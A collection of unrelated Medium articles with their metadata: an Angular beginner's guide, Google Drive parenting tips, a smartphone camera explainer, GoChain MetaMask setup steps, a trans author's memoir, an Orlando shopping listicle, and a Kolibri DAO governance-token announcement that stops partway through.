If you would like to make Angular a widely used tool in your kit for 2021, this is the guide for you. We gave special attention to the theoretical concepts, without which you cannot move further, and shared some useful resources to delve into the issue.
Explore Angular and become a part of the community of millions of developers across the globe!
Definition and Key Ideas
Angular is a framework and development platform for making web and mobile apps using HTML, JavaScript, or compiling TypeScript or NativeScript to JavaScript. It is an excellent tool for creating the following solutions:
single-page applications;
enterprise web applications;
mobile apps of any kind;
Progressive Web Applications;
server-side rendered applications;
user interfaces with animations;
and many other things
To start working with the framework, you should understand basic JavaScript ES6, HTML, and CSS. Since the main idea of the framework is to build client applications, particularly single-page apps, its architecture is specific to that and 95% of the code runs on the client side.
Working with Angular, you enjoy the following advantages:
functionality for time, effort, and cost saving;
codebase maintainability and scalability;
simple design workflow;
a supportive community with ready-made components;
an organized and clean code
The architecture of an Angular app includes 8 basic types of blocks:
modules;
components;
templates;
metadata;
data binding;
directives;
services;
dependency injection
Let’s consider the constituent Angular parts in more detail.
Modules
An Angular module is a coherent block of code related to a specific app domain. With its help, you can split up an app into smaller parts and work with each separately. Besides, you can create, export, and import libraries of components.
Modules are the core feature of the framework, so if you start making an Angular app, it must have at least one of them. This module is called a root module and takes over the bootstrap. Other modules are responsible for certain features and have their properties described after a @NgModule prefix.
Components
Components are responsible for creating the connection with the screen sections called views. They are defined using the @Component decorator. Any Angular app has a root component in the root module that holds the general hierarchy and supports domain logic.
Templates
A template defines a component view and combines HTML with Angular forms. Since views are usually arranged hierarchically, the templates define a host view of the associated components and the view hierarchy.
Metadata
We mentioned several @ prefixes that we attach to Angular classes to describe their properties. We can also add more metadata after them to make it clear how to deal with the elements.
Data Binding
To connect template parts with component parts, Angular offers a mechanism called data binding. It allows reducing the code lines, which saves time and effort.
Directives
To transform document object model pages, Angular needs instructions provided by directives. Structural directives change the templates’ structure while attribute directives update the elements’ attributes.
Services
Services are used to enrich an Angular solution with new features or values. We recommend you to add a highly specialized purpose to a service because it may affect the general performance.
Dependency Injection
New Angular components need to be provided accurately with the required dependencies. To provide that, Angular offers the method of dependency injection. Instead of taking data from a server, DI delegates this task to the services.
Releases
The framework has a long story. Its first version named AngularJS was released in 2010 and will be supported till June 2021. However, it became clear over time that AngularJS didn’t meet the standards of web app development and it was completely reworked with no backward compatibility in 2016. Nonetheless, it was called Angular 2. Then the following versions were provided:
Angular 4 — March 2017;
Angular 5 — November 2017;
Angular 6 — May 2018;
Angular 7 — October 2018;
Angular 8 — May 2019;
Angular 9 — February 2020;
Angular 10 — June 2020;
Angular 11 — November 2020;
Angular 12 — May 2021
V4, v5, v6, v7, and v8 are no longer supported. As for the newest v12, it is positioned as a faster, smaller, and easier to use one. Also, v12 means the transition of the whole Angular ecosystem to a complete rewrite of the rendering engine called Ivy.
Resources for Further Learning
If you are determined to go deeper into the subject, we recommend you begin by exploring Angular docs and style guides. Since the community is really supportive, you can find plenty of additional materials for further learning:
If you consider taking the courses, check the following:
Bottomline
Here we tried to cover the basic aspects of Angular development in 2021. The Fively specialists build amazing client apps using the framework and you too can create something special. We hope our guide becomes a good starting point and wish you good luck in the journey.
***
If you have questions, then write them in the comments. We will try to answer all of them.
Subscribe to our publication and social networks, so as not to miss new articles. | https://medium.com/fively/step-by-step-guide-on-how-to-learn-angular-in-2021-16a7c564708e | ['Vsevolod Ulyanovich'] | 2021-06-21 11:55:47.918000+00:00 | ['Web Development', 'Angular', 'Web Framework', 'Guides And Tutorials', 'Frontend Development'] |
How Google Drive Can Make Parenting Easier | How Google Drive Can Make Parenting Easier
Seven surprising ways Google Docs, Sheets, and Forms can improve your family’s life
Photo: MoMo Productions/Getty Images
I’ve been a parent for 16 years and a Google Drive user for 13. (Such an enthusiastic user, in fact, that I’ve appeared as an unpaid expert on Google’s Digital Wellbeing site.) And somewhere along the way, those two roles began to blend together.
If you use Google Drive at work, you already know that sharing docs, spreadsheets, and folders can make it easier to collaborate with colleagues. But it can also make it easier to co-parent, coordinate with your kids, and generally impose some degree of order on the chaos that comes with family life. Here’s how:
Family policy manual
More than a dozen years ago, I wrote a social-media policy for our family. It started partly as a joke, but I’ve since come to embrace it — and to reproduce it, many times over, for other things. I’ve discovered it’s very helpful to have various household rules and policies documented in a way that’s accessible to parents, children, and other caregivers.
Our Google Drive policy folder offers a peek into the different areas where we’ve had conflict over the years: We’ve had to introduce a toy cupboard policy, a Minecraft policy, a candy policy, and a bathing agreement. We also revise and update our family screen time policy every six to 12 months. (This schedule includes daytime hours because I homeschool one of my kids, who needs access to the internet for online learning.) When we’re introducing a new policy, we have the kids review the Google Doc and suggest any changes before it goes into effect.
Even though our kids helped negotiate these policies, it was hard to get into the habit of living by them, so I created a support request form that the kids had to use for several months: If they wanted candy, a video game, or extra screen time, they had to fill out a support request form, and their answers helped us all ensure we were following through on our agreements. You can make a copy of these policies for your own use:
Here’s a sample candy policy.
This is a sample screen time policy.
This is a worksheet that can help you create your own family tech policies.
And here’s a support request form you can use as inspiration for your own family. (You can make a copy by saving this in your own Google Drive, viewing it there, and then clicking the three dots on the top right of your screen and selecting “make a copy.”)
School projects
We all know that science fairs, history fairs, and the like are really just trials set to test both parent and child. After our first few experiences of last-minute nightmares (you know, where you spend the three days before the fair helping your kid do the project they were supposed to be working on for three months), I started insisting on a documented project plan for each major school assignment.
Now I work with my kids to set up a Google Sheet that breaks down each project into steps. We assign due dates for each task, noting anything else that’s going on during that time period that might affect the kid’s ability to get their work done. I’ve never seen a whole lot of educational value in these mega-projects, but I know my kids have benefited from learning how to break down a big goal into component steps and how to track those steps as they make progress toward the final product.
Here’s a sample Google Sheet you can use to make your own project schedule.
Developmental goals
One of my children is autistic, and we work with a team of educators, therapists, caregivers, and consultants on his continued growth and development. I’ve found it helpful to create periodic game plans that map out what we will focus on for the next six to 12 months and share those plans so the whole team can offer input and comments. This kind of roadmap can be useful for neurotypical kids, too: I recently helped my eldest (who uses they/them pronouns) set up a table of the practical and emotional skills they want to acquire before graduation, so they will feel more prepared for university and adulthood.
Here’s a sample Google Doc we’ve used for tracking developmental goals, adaptable as a roadmap for any milestones your kids are working toward.
Tech support
My kids make so many app, game, and screen time requests that I finally took a page from IT departments and built a simple ticketing system in Google Forms. The first version was designed to handle a wide range of support requests, but I soon found that our real pain point was just game requests. It takes research to decide which games will be suitable rather than harmful for our son, so the form makes him do the work if he wants me to consider his request. The spreadsheet that Google compiles from his answers has turned into a record of his evolving interests over the years.
Here’s a form you can use for your own family.
Costume planning
My eldest has a penchant for elaborate Halloween costumes, so I like to map out the ingredients and construction in a costume planning spreadsheet, which we also use to keep track of progress.
Here’s an example of a costume tracker, which can come in handy whether you’re a crafty sew-from-scratch kind of person or someone who prefers to order a wig online and call it a day.
Gift planning
There is no surer route to holiday hell than a dispute over who got more or better presents. To avoid that nightmare — and keep my Black Friday shopping in check — I create an annual holiday gift plan spreadsheet that keeps a running total of how many gifts (and how much money) I’ve spent on each kid.
I use a separate tab to plan out who will get what on each night of Hanukkah, so both kids get exciting, fun gifts on one night and boring educational gifts the next. This year, I also used that tab to take notes on how I’d wrapped each package so I would know what to hand out each night.
You can see what it looks like here.
Graduation and college planning
Google Drive is so effective that it has apparently allowed me to raise a child nearly all the way to adulthood: My eldest is now in their last year of high school, which means we had to ensure their Grade 12 classes met all their graduation and college admission requirements. Naturally, we set up a Google Sheet to map the specific courses they need for each school they are interested in applying to and then used those requirements to map out the courses they would take this year.
You can adapt your own course planning sheet from the sample here.
On raising a Google collaborator
By now you’re probably feeling sorry for my kids. In making the case for Google Drive as a parenting tool, I’ve certainly compiled plenty of material for them to share with their future therapists. But when the time comes to find and select their therapists, or keep notes on their dreams and therapeutic progress, I’m confident the kids will tackle this the way they’ve been taught — by using Google Drive.
For more brilliant ways to use Google Drive, visit the Ultimate Guide to Google Drive, with templates, strategies, and ideas for using Drive to organize every corner of your life. | https://forge.medium.com/how-google-drive-can-make-parenting-easier-9adfb752dc5e | ['Alexandra Samuel'] | 2020-10-12 21:42:38.071000+00:00 | ['Google', 'Toolbox', 'Live', 'Productivity', 'Parenting'] |
Multiple Cameras in a Smartphone. Do you really need them? | Nowadays, almost every smartphone comes with at least three cameras baked right into it. It includes two rear cameras and one front-facing camera. The mid-range segment smartphone camera system may comprise up to 5 cameras (including front-facing camera). But, do these numbers really matter? What’s the purpose of numerous cameras? And, where it all started?
The Beginning
In 2011, LG Optimus 3D and HTC Evo 3D featured 5 Megapixel dual rear cameras which were meant to make your photos look real by adding depth to them. At that time, new 3D technologies were becoming popular in the world of cinema and the smartphone manufacturers decided to roll the dice by experimenting with a camera system which boasted a 3D experience but apparently, it proved to be a foundational step in the smartphone industry which is heavily adopted by everyone nowadays.
A typical smartphone nowadays may consist of a main/primary camera, a depth-sensing camera, a wide-angle camera, a macro-camera and probably a telephoto lens or a time of flight sensor depending on the budget of your smartphone. Okay, so what do they do?
Primary Camera
The primary camera of your smartphone is the default camera which is used more often than any other camera. It has the highest resolution, more megapixel count and probably image stabilization baked into it.
The primary camera consists of a lens with fixed focal length and an image sensor which you can say is the heart of the camera. The bigger the image sensor, the higher the image quality. High megapixel count doesn’t always mean better image quality. It depends on the size of the sensor as well as the quality of the sensor. There are a lot of other factors which affect the image quality, which we will talk about in a minute.
The primary camera has a standard focal length ranging from 24mm to 28mm. The camera lenses which have low focal lengths can capture a wider area like a landscape. As the focal length increases the field of view generally decreases.
One thing to note here is that the focal lengths mentioned here are not actual focal lengths of a smartphone camera lens.
In the world of smartphone photography, whenever you see a focal length of let’s say 26mm, that would be the focal length of a professional camera lens if it were to produce an image equivalent to the image captured by the smartphone from a particular angle.
Source: Realme
Depth-sensing Camera
As the name suggests, a depth sensor usually gathers information about the foreground and background of an image and uses that information to blur the background from the foreground of an image.
Why are they not used more often nowadays? Well, because most of the job is done by ‘software’ itself.
Wide-Angle Camera
The focal length of a wide angle lens in a wide angle camera is around 22–25mm which is less than the primary lens. A short focal length means a large field of view.
The purpose of this camera is to usually take landscape photographs or in smartphone terminology, wide angle photographs.
Normally they perform well but the overall image quality is slightly less than the primary camera.
Telephoto Camera
Telephoto camera has a different type of lens whose focal length is pretty long which eventually leads to a shorter field of view. What this means is that if you have an object far far away, you can capture the details of that object by using a telephoto lens.
In simple terms, it is used for zooming in an object without the help of digital zoom.
Nowadays, smartphone manufacturers use something known as ‘hybrid zoom’ which combines the image from a telephoto lens and further applies a digital zoom to zoom into an object even farther.
Macro Camera
A macro camera is generally used to capture tiny objects and minute details. The megapixel count of macro cameras in smartphones is usually low.
LiDAR Camera
You might have heard of a LiDAR sensor in the latest iPhone model but what’s the use of such a type of sensor? Well, the reason is quite interesting.
LiDAR (Light Detection and Ranging) is a technique in which the camera will fire pulses of infrared light on an object and will measure the time taken by the light to reflect from the object back to the camera sensor. In doing so, the distance of the object from the camera sensor can be calculated.
Also, by firing pulses of infrared light on multiple objects in a scene, the relative distance between those objects can be calculated which can be further used to know the depth information of those objects.
By doing so, you can blur the objects in the background from the objects in the foreground much more precisely and accurately rather than just guessing and approximating the whole thing.
LiDAR sensors can also be used for improving Augmented Reality in smartphones.
The availability of extra space in a smartphone is a big concern. You can’t have a lens which can change its focal length as per your requirement just like a DSLR camera. That’s why multiple lenses of different focal lengths are used to allow people to take shots from different angles.
We are in the era of smartphone photography. Nearly everyone has a smartphone and the ability to take decent photos from a smartphone itself without tweaking settings like focal length, aperture, ISO, shutter speed etc. is a huge deal for many people.
Do You Really Need Them?
Smartphone Photography
It depends. If you don’t have a DSLR and you want to explore photography in general then multiple cameras can be good for you because it will allow you to explore different angles and perspectives. Or, if you are a kind of person who just want to take decent photos and selfies, then a decent single or at the most a dual camera system would be more than sufficient for you. As far as image quality is concerned, it depends on the camera sensor and the software of the smartphone manufacturer. More megapixels don’t mean better image quality.
A 12 Megapixel DSLR can produce better image quality than a 20 Megapixel smartphone camera because of the size of the camera sensor. The larger the surface area, the greater amount of light captured by the sensor.
Google, in their Pixel smartphone used some advanced computational photography techniques to deliver some of the best photographs which could be ever taken from a single 12 MP smartphone camera.
So, it’s not a hard and fast rule to have multiple cameras in a smartphone. The advancement of smartphone photography may depend on Moore’s Law. Wait, what’s Moore’s Law? Well, let’s keep that for another blog post.
That’s all for now. Signing off.
If you have any suggestions, then you can send us a message by going to Contact tab or leave us a comment below.. | https://medium.com/@techthatthrills/multiple-cameras-in-a-smartphone-do-you-really-need-them-200bc420345a | [] | 2020-12-15 17:05:07.112000+00:00 | ['Cameras', 'Smartphones', 'Mobile Photography', 'Augmented Reality', 'Technology'] |
How to use GoChain with Metamask | Adding GoChain to MetaMask is easy, you just need to add a custom RPC. Keep reading to see how.
Note: we’ve hard previous posts about this, but the question gets asked a lot so we thought’d we’d post again with updated screenshots and instructions. Leave a comment if you have any issues.
Add custom RPC provider to MetaMask
Click on ‘Main Ethereum Network’ dropdown and select Custom RPC:
Fill in the following details:
Network Name: GoChain
New RPC URL: https://rpc.gochain.io
Symbol: GO
Chain ID: 60
Block Explorer URL: https://explorer.gochain.io
That’s it! Now you’re connected to GoChain.
But I don’t see my GoChain tokens??
You may not see your tokens show up automatically and if you need to add particular token you just need to add a custom token using the tokens contract address.
Ensure you’re on the GoChain network in the top dropdown and click Add Token.
Click ‘Custom Token’
Click custom token to add manually.
And add the details:
Get some GO if you don’t have any
You’ll need GO to provide gas for your transactions, just like you need ETH on Ethereum. You can buy GO in many places, you can find a list of places here.
You’re good to GO! | https://medium.com/gochain/how-to-use-gochain-with-metamask-92aea8dad002 | ['Travis Reeder'] | 2021-02-17 15:00:51.453000+00:00 | ['Web3', 'Metamask', 'Blockchain', 'Gochain'] |
Every Step, A Step Closer | Spend enough time around trans people and eventually you will get the story of their “awakening” to their gender identity. For some it’s a persistent knowledge that they assert when they are young, insisting upon their correct gender consistently until caregivers take notice. For others, it’s a revelation! Some alignment of circumstances where a life lived out of focus suddenly becomes crystal clear. For me, it was more diffuse. My transness was always there, lurking just beneath the surface. It lay dormant, at first because I didn’t know how to explain myself, and later because I was afraid of what I’d lose if I faced the truth. The circumstances around my “awakening” are entangled with so many intersecting traumas, coincidences, and moments of realignment that I’ve hesitated to try and lay them out in detail. I don’t have a great memory for details, but one thing is clear: it started with my wife driving me to the hospital.
Change or die
It was November 7th 2016, and we were waiting to celebrate Hillary Clinton’s assumed victory in the US presidential election. I was feeling sick to my stomach, but I chalked it up to anxiety about the state of the vote. I’d been on a keto diet for about 5 months, after getting thoroughly burned out on trying and failing to manage my diabetes with the meds that my general practitioner had prescribed. I was in deep denial about the extent to which my disease had progressed, and my relationship to my doctor was antagonistic at best. I’d been experiencing a stabbing pain in my side for a few weeks, but had chalked it up to being out of shape. Around bedtime I started to throw up — first my dinner, then a glass of water, then the anti-nausea medication I had taken, then another glass of water. Now my stomach was in agony. We bundled our bleary 16 month old daughter into the car seat, and rushed to the hospital. In the emergency room I was given a diagnosis — acute pancreatitis, brought on by severe ketoacidosis.
There is pain, and then there is Pain. The pancreas secretes an enzyme called lipase, which spikes when the organ is inflamed. A healthy pancreas releases approximately 50 units per liter. An unhealthy pancreas produces more. At around 120 U/L the pain is brutal. I don’t like to brag or anything, but my tests came back at over 400 U/L, which is the point where they stop measuring.
I guess, the point is: I had fucked up. And I was paying for it.
When I was admitted, it was unclear if I’d ever be walking out of that building again. The ER doctors told me they had no medicine for pancreatitis — they just hook you up to an IV, pump you full of fluids and painkillers and wait to see whether your organs recover. I was fortunate. My pancreas stopped its death spiral and returned to normal. I got to go home.
There was one especially scary moment on the first night I was in the ER, before I was moved to my own room. The staff had hooked me up to a wide array of monitoring equipment: heart rate monitors, blood oxygen levels, respiration, temperature, and some others I didn’t recognize. They had pumped me full of morphine, which wasn’t even taking the edge off of the pain. But, once my IV was run, there was nothing more for them to do aside from monitor me and wait. I was allowed to keep my phone, although I was too loopy to do much with it. Early in the morning a text came through from my wife, who had taken our daughter back home to sleep. “They’re calling the election: Donald Trump has won.”
Do you remember that sinking feeling you had when you first heard that news? I can quantify mine. Every single monitor connected to my body registered the shock and despair. A nurse came running in.
“What is going on?! You’re dying!” he said in a panic. I told him I was just upset by the election results and he looked at me like I was crazy. “No, seriously: you’re dying. You need to calm down.” He increased my morphine dose, and calm down I did.
I entered the hospital thinking the world worked one way and exited a week later to a much darker future where bigotry, racism, and misogyny had ascended to the highest office in the land. I felt like reality had fractured. In one timeline, I had died in that hospital bed, and history had proceeded the way it was meant to. In the other timeline — this timeline — things went off the rails. In this reality we got a narcissistic reality TV host as president, and an emboldened neo-fascist movement waving torches and screaming anti-Semitic slogans. It felt like I was being punished to be forced to live in this timeline.
This was the turning point in my life. I knew I had to change things, or I would die. I had to figure out how to care for myself. But how do you care for a body that feels like a shell? How do you heal yourself physically when your soul is so disconnected?
I was trans, but I hadn’t completely admitted it to myself. I believed that my dissatisfaction with being a man was something I couldn’t do anything about. But, coming out of the hospital I was consumed by a regret that I couldn’t completely put into words. Had I missed my chance? My life felt shortened, shortening, finite in a more concrete sense.
My wife and I had a conversation where I tried to explain my growing desire to do something about my gender. I’d kept so many of my gender feels in the background for so long. I told her I wanted to change this, but wasn’t sure how. I think at some level she knew this was coming. For most of our marriage, my “gender stuff” was kept safely out of sight from everyone else, but never from her. I resolved to start making some changes. It felt urgent all of a sudden. Even as trans people were becoming more visible, their rights were also increasingly being threatened by the new political reality in the United States. A part of me felt ashamed that I was willing and able to continue to benefit from the straight, cis, male privilege that I received, even as people who were like me were putting everything on the line in order to live as themselves. I wasn’t straight. I wasn’t cis. And I wasn’t male. I felt like a coward for allowing people to believe that I was for so long. And I felt like an imposter for having things that I needed to say about gender identity, while not wanting to be seen as a straight, cis, guy taking up space in the conversation. What right do I have to call myself trans, I thought, if I’m afraid to risk my safety and comfort for it? | https://medium.com/empowered-trans-woman/every-step-a-step-closer-9edbe3de17b8 | ['Theresa Jean Tanenbaum'] | 2020-08-28 22:25:41.325000+00:00 | ['Transitioning', 'LGBTQ', 'Transgender'] |
Orlando is famous for shoppers | Inexpensive Deals on one-way flights to Orlando | VaccationTravel | Orlando is famous for shoppers | Inexpensive Deals on one-way flights to Orlando | VaccationTravel VaccationTravel Aug 16·4 min read
Orlando is a city that is majorly known for its theme parks. However, the city is also a favorite spot for the shopaholics from all over the world. The city features designer stores, outdoor outlet malls, and many local brands.
If you are up for browsing the latest fashion trends in Orlando, you can be led to unexpected discoveries. The city offers a lot of touristy shopping opportunities to all its visitors.
In case, you are planning to travel to the city, you can find Inexpensive Deals on one-way flights to Orlando on making online reservations.
The city has a wide range of shopping experiences to suit your fancy. Here is your guide to the best shopping destinations in Orlando.
Top 7 shopping spots in Orlando
The Florida Mall
The Florida Mall
It is an international and family-friendly shopping destination in Orlando. From big anchor stores like Dillard’s, and Macy’s to high-end shops such as Armani Exchange, and Coach, there are more than 250 stores in the mall. It is such a popular shopping spot in the city that it draws more than 20 million visitors in a year.
Disney Springs
Disney Springs
It is a shopping, dining, and entertainment district of the Walt Disney World Resort. This district is packed with the stores of the high-end shopping breads as well as the specialty boutiques. Featuring more than 100 different shopping experiences and 62 dining locations, it is a great place in the city to spend your day.
The Mall at Millenia
The Mall at Millenia
If you are a luxury shopping aficionado, you will definitely adore this shopping spot. The mall features big-brand stores, like Gucci, Prada, Chanel, Emporia Armani, Tag Heuer, Jimmy Choo, Banana Republic, Ann Taylor, and more. The Mall at Milleniahouses more than 150 stores and restaurants, and it is one of the most successful shopping centers in the city.
In order to travel to the city, you can book Cheap Round Trip Flight Tickets to Orlando through VaccationTravel.
Ivanhoe Village
Ivanhoe Village
This place provides an eclectic shopping environment where you can stop by the little antique shops and shop for small gift items for your friends and relatives. Here, you can find the vintage shops, boutiques, art and music stores, and sporting goods. Visit this neighborhood to spend an entire day shopping, drinking, dining, and having fun in Orlando.
Winter Park’s Park Avenue
Winter Park’s Park Avenue
For an authentic local shopping experience, Winter Park’s Park Avenue is a must-visit destination. Here, you will find the brands that you recognize, such as Restoration Hardware, Ann Taylor, and more. Besides, you will also find locally-owned boutiques and galleries, allowing you to shop for clothing, fashion accessories, home furnishings, and more.
Orlando Premium Outlets
Orlando Premium Outlets
It is an open-air shopping location. This place consists of 180 different stores to choose from. Visit this place to get great discounts on designer labels like Prada, Armani, Kate Spade. If children are along, you can also choose to shop from Disney Character Warehouse, getting Disney merchandise at cheaper prices.
It is a great idea to save some good amount of money on your flight tickets to be able to shop luxuriously on your trip to Orlando. You can Find Lowest Airfares to Orlando on vaccationtravel.com.
East End Market
East End Market
If you want to get away from the world of malls, and high-brand shopping, you must make your way to Orlando’s quaint East End Market. It is a market-cum-arcade that offers art and food stores. You can also find some world-class restaurants at the East End Market.
With so many options, Orlando is a great city for indulging in a retail therapy on your next vacation. Get Direct Non-Stop Flights to Orlando Today, and visit to the city to have one-of-a-kind travel experiences of your life. | https://medium.com/@vaccationtravel/orlando-is-famous-for-shoppers-inexpensive-deals-on-one-way-flights-to-orlando-vaccation-bfe8806c1081 | [] | 2021-08-16 19:39:42.588000+00:00 | ['Vacation', 'Orlando City', 'Travel', 'Cheap Flight Tickets', 'Vaccationtravel'] |
Announcing Kolibri DAO | Kolibri DAO will power governance for Kolibri, an algorithmic stablecoin built on Tezos
Kolibri is an algorithmic stablecoin based on Tezos that was launched earlier this year. It has quickly become one of the most popular DeFi projects on Tezos, with over $10M in TVL locked in the protocol and $1M+ worth of kUSD backed by that TVL.
When Hover Labs launched the Kolibri protocol in February of this year, we expressed that our governance philosophy was to prove the safety of the protocol, and to slowly decentralize over time, with the goal of ensuring on our way out that no other entity can ever unilaterally control the protocol. We’re excited to announce the next step in this plan — decentralized and programmatic governance controlled by a Decentralized Autonomous Organization (DAO).
Kolibri DAO
The Kolibri DAO is a smart contract which will act as the long term governor and overseer of the Kolibri protocol, backed by its own FA1.2 governance token — kDAO.
What’s a DAO Anyway?
A DAO is a smart contract which provides a codification of a set of rules for an organization, backed by some governance process. Put simply, a DAO is a fully decentralized and autonomous organization, governed by code and holders of a token. You can read more about DAOs here.
How does it work?
The DAO allows kDAO holders to propose and vote on various proposals to govern the Kolibri Protocol. Each proposal is an arbitrary lambda (block of code) that can execute within the context of the DAO. This allows governance proposals to affect internal DAO parameters, as well as invoke contract calls on any smart contracts for which the DAO is set as the governor.
The DAO also uses a snapshot system that can determine a user’s kDAO balance at the moment a proposal goes live, and requires they hold that balance for at least one block, which ensures participants cannot use flash loans to exert undue control over a vote.
We plan on upgrading Kolibri to be completely governed by the DAO in the coming days, but with some additional guardrails for safety (Read on to “Safety Precautions” below).
Proposal Lifecycle
In order to submit a new proposal, one must lock up some escrow, or a small amount of kDAO tokens (also adjustable by the DAO!), to propose new governance proposals. These kDAO are only returned if the proposal reaches a minimum percentage of “yay” votes, otherwise the escrow is given to the community fund. This acts as a disincentive for people to spam the DAO with proposals, since only one proposal can be active at a time.
A proposal is considered passed if it achieves both a quorum (a minimum amount of votes) and a super majority of voters vote “yay”. The quorum value is a floating value that adjusts using an exponentially weighted moving average and has both lower and upper caps. It is currently set at 30% and 80%. The super majority is currently set at 80%. Both the super majority and quorum caps are adjustable via governance
Once a proposal has been passed in the DAO, it is put into a timelock, akin to the multisig system today. This provides a programmatic guarantee of buffer time between a proposal and implementation, which provides safety and time for users to exit the system if desired before changes take effect.
Like Kolibri, the DAO is an upgradeable piece of software, which can be upgraded from the DAO itself. We expect Kolibri to upgrade over time.
kDAO and Token Distribution
Kolibri Governance will be powered by its own token, called kDAO.
The details are as follows:
Symbol : kDAO
: kDAO Digits : 18
: 18 Address: KT1JkoE42rrMBP9b2oDhbx6EUr26GcySZMUH
KT1JkoE42rrMBP9b2oDhbx6EUr26GcySZMUH Supply Cap (fixed): 1M kDAO
(Note: An early version of this article listed a now defunct token contract address. Please prefer the address above.)
If you feel strongly about any of these token parameters, please come discuss this in our Discord, and we may change them based on community feedback.
Token Distribution
A very important point of the decentralization story is the actual act of becoming decentralized. We’ve chosen to use a few different mechanisms to distribute kDAO tokens to users of the Kolibri protocol, ensuring that those who use the protocol can help control it, but avoiding concentrating too much power with any single entity.
The distribution of kDAO tokens
Tokens will be distributed in the following fashion:
Airdrop to Ecosystem Users: 15%
Liquidity Mining Incentives : 30%
Hover Labs Token Grant: 20%
Reserved for Community Fund: 35%
Airdrop to Ecosystem Users
kDAO will be distributed to users who engaged and experimented with the Kolibri protocol, as well as to users who helped to develop the protocol by providing liquidity for liquidations and trading of the pair.
Methodology:
Hover Labs took snapshots of the Tezos blockchain every 1440 blocks (1 day, assuming all blocks are priority 0) from block 1330056 (when Kolibri was deployed to mainnet) until block 1461096 (Roughly Friday May 7).
Please note, actions taken after Friday May 7 do not count towards airdrop token allocations.
If an account met any of the following criteria on any snapshot block, we award them 104.602510460251046025 kDAO:
Borrowed more than 10 kUSD at a snapshot
at a snapshot Supplied kUSD Liquidity in any amount to Dexter
to Dexter Supplied kUSD Liquidity in any amount to Quipuswap v1.0
to Quipuswap v1.0 Supplied kUSD Liquidity in any amount to Quipuswap v1.1
to Quipuswap v1.1 Supplied kUSD Liquidity in any amount to the Kolibri Liquidity Pool
to the Kolibri Liquidity Pool Executed a Kolibri governance proposal
Rewards are not stackable (for example, executing two governance proposals is only worth ~104 kDAO, not ~208 kDAO) and can be earned across multiple snapshots (example: a user who provided liquidity to Dexter at block 1330056 and then moved liquidity to Quipuswap at block 1331496 would earn ~208 kDAO). It follows that the maximum amount an account can earn is ~ 624 kDAO.
Hover Labs has provided code to calculate distributions and a prospective list of rewards on our GitHub. We highly recommend that all interested users validate their allocations and reach out to Hover Labs as soon as possible if they believe it is incorrect.
No airdrop is perfect, but Hover Labs feels that this represents a fair distribution for kDAO. The criteria is selected to not be financially exclusive (we prefer to reward a broad pool of participants vs a small cabal of whales). Providing any amount of Liquidity ($0.01 USD or more) to a liquidity pool, the collateral required to borrow 10 kUSD, and paying the transaction fee to execute a governance proposal. Put together, the total cost of meeting all criteria is less than $25 USD.
We were specifically targeting 3 “personas” when thinking about how to distribute kDAO tokens equitably:
Experimenters : These are people who actually opened an oven and actively engaged with the Kolibri protocol by locking XTZ and generating kUSD. Our community is full of amazing folks who have given us super valuable feedback on how to improve, and we think they have a real interest in ensuring Kolibri is healthy and stable long-term.
: These are people who actually opened an oven and actively engaged with the Kolibri protocol by locking XTZ and generating kUSD. Our community is full of amazing folks who have given us super valuable feedback on how to improve, and we think they have a real interest in ensuring Kolibri is healthy and stable long-term. Liquidity Providers : These folks are the ones who are providing liquidity on decentralized exchanges like Quipuswap and Dexter, which is a critical component to the economic balancing act that backs kUSD.
: These folks are the ones who are providing liquidity on decentralized exchanges like Quipuswap and Dexter, which is a critical component to the economic balancing act that backs kUSD. Early Governance Participants: As we did our stability adjustments to help stabilize the price of kUSD, we put in a number of governance proposals, all of which were proposed by Hover Labs, but executed by the community. As these executors were directly participating in the governance process in its earliest iteration, we want to ensure they’re given kDAO tokens as well.
Put together, we hope this group of users represent a set of people who are knowledgeable and curious about Kolibri and will help steer the protocol, favoring long term growth and stability.
One final note on airdrops: since Hover Labs is getting a founders grant equivalent to 20% of the total supply, we’re removing our wallet addresses from the airdrop.
Liquidity Mining Incentives
A large percentage of the token supply (30%) is set aside to drip out to users who engage with Kolibri. Specifically, we will launch a set of farms where:
Users can deposit kUSD and earn kDAO tokens
Users can deposit kUSD Quipuswap LP tokens and earn kDAO tokens
Users can deposit QLkUSD (obtained from the Kolibri Liquidity Pool) Tokens and earn kDAO tokens
Exact allocations for each of these contracts is yet to be determined. The farms are intended to run for two years, ensuring that Kolibri provides long term incentives for users to participate in the protocol until additional incentives develop.
Lastly, control of these contracts (revocation of funds, adjustments to reward rates and length of farms) is programmatically controllable via Kolibri DAO. If the community feels sufficiently differently than Hover Labs, a DAO vote can adjust these allocations, cancel the farms, or launch new farms at any time.
Hover Labs’ Token Grant
Hover Labs will receive a founders grant of 20% of the token supply. The supply is locked in a smart contract which will continuously make accessible over the next 525600 blocks from launch (roughly 1 year at 1 minute block times). The non-accessible tokens locked in the contract are illiquid, meaning that Hover Labs can’t move/spend them, but it’s important to note that they can be used to participate in voting, which falls in-line with our progressive decentralization plans. The airdrop will account for 15% of the total supply, and after 3 months of the liquidity mining program, >5% should be dripped out. Once this happens we’ll cross a threshold where the community will own more tokens than all of Hover Labs combined.
Community Fund
The remaining 35% of tokens are placed in a community fund controlled by the DAO. The community fund is a smart contract capable of escrowing and receiving arbitrary amounts of FA1.2, FA2, or XTZ tokens.
The remainder of kDAO in the community fund is intended to be used for the good of the protocol. The DAO has control of these funds and could choose to do a number of things with them, including:
Paying a grant for additional features or development on Kolibri
Paying for a security audit of the DAO code
Incentivizing user behavior by extending or creating new farming contracts
Any other action which decentralized governance approves.
Safety Precautions
When the DAO launches, it will have full control over the Kolibri Protocol. This is not without risks — the governance code is relatively new and not battle tested. Though Hover Labs has performed extensive unit and integration testing, it is always possible that novel bugs or exploits may be found that require intervention to correct.
In line with Hover Labs’ previously communicated governance philosophy, we intend to continue to decentralize slowly, and lock the privileges we have when safety is proven. Given that Kolibri contains over $10M of TVL, and use of DAOs is still highly experimental, we’re optioning to have a “break glass” mechanism to be able to quickly fix/defang any issues found in the DAO or core protocol as result of independent report or security review.
On day 1 that the DAO goes live, the community (if it so chooses) can put in a governance proposal to remove this “break glass” mechanism, though we discourage it until the security review has been completed. If a security issue were to be discovered without this break glass mechanism, we’d find ourselves in a situation where we’d have to elect a new DAO or central Kolibri component while simultaneously trying to prevent the discovery or exploitation of the underlying security issue. While obviously security issues can happen at any time, there’s a higher likelihood that if these issues exist, they’ll be discovered as part of the security review, which is why we’re only recommending this measure be in-place until the security review is complete and any issues are fixed.
Break Glass
A visual representation of how the proxy contracts interact
A firewall of proxy contracts, called the “Break Glass” contracts will be deployed to act as governor of the Kolibri protocol. These contracts provide a set of safety guarantees which reduce Hover Lab’s privileges while maintaining safety.
